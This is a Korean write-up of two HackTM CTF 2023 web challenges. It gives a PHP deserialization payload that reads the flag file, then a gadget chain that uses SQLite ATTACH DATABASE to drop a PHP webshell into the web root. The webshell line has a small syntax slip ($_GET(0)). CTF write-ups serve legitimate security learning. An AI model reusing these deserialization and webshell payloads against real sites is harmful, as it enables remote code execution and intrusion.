hacktm ctf 2023 기사

1. (인터넷) 블로깅

쿠키 값을 `unserialize()`하고 있습니다.


취약한 클래스를 검색하는 데 사용했을 때 “구성 파일” 클래스가 내 관심을 끌었습니다.

`file_get_contents()` 함수는 `$this->picture_path` 멤버 변수의 값으로 파일 읽기를 시도합니다.

즉, Profile 클래스의 picture_path 멤버 변수를 사용하여 플래그 값을 읽어서 문제를 해결할 수 있습니다.


O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}

HackTM{r3t__toString_1s_s0_fun_13c573f6}

2. (웹) 블로그의 복수

블로그 문제는 본연의 목적에 반하는 것으로 판단되어 재게시를 위해 플래그 파일의 위치만 변경합니다.

공식글이 어디있는지 모르겠는데 다른분들은 sqlite 쿼리문으로 php 파일을 생성해서 RCE를 한다고 합니다.

sqlite에는 “ATTACH DATABASE”라는 구문이 있습니다.

아래 사이트에 설명되어 있습니다.

SQLite ATTACH DATABASE 예제

이 자습서에서는 SQLite ATTACH DATABASE 문을 사용하여 다른 데이터베이스를 현재 데이터베이스 연결과 연결하는 방법을 보여줍니다.

www.sqlitetutorial.net

다음과 같이 쿼리를 작성하면 위의 웹사이트에서 설명한 대로 DB 파일이 생성되고 연결됩니다.

생성된 DB에 테이블을 생성하고 php 코드를 삽입하면 DB 파일을 생성하여 웹쉘을 생성할 수 있습니다.

$conn = new Conn;
$conn->queries = array(
    new Query("ATTACH DATABASE '/var/www/html/images/.somerandomname.php' AS jctf;", array()),
    new Query("CREATE TABLE jctf.pwn (dataz text);", array()),
    new Query('INSERT INTO jctf.pwn (dataz) VALUES ("<?php system($_GET(0)); ?>");', array())
);

$in_user = new User("asdf");
$in_user->profile = $conn;

$profile = new Profile("asdf");
$profile->username = $in_user;

$user = new User("asdf");
$user->profile = $profile;
// User.get_profile() converts $this->profile to a string
//   profile = Profile, calls Profile.__toString() which does string conversion when placing $this->username in a string
//   (caveat: it has to pass db checks, which will place an empty str as the username in the sql query since the username is not a string)
//     username = User, calls User.__toString() which in turn calls $this->profile()
//       profile = Conn, already initialized with three queries to drop a webshell

echo base64_encode(serialize($user));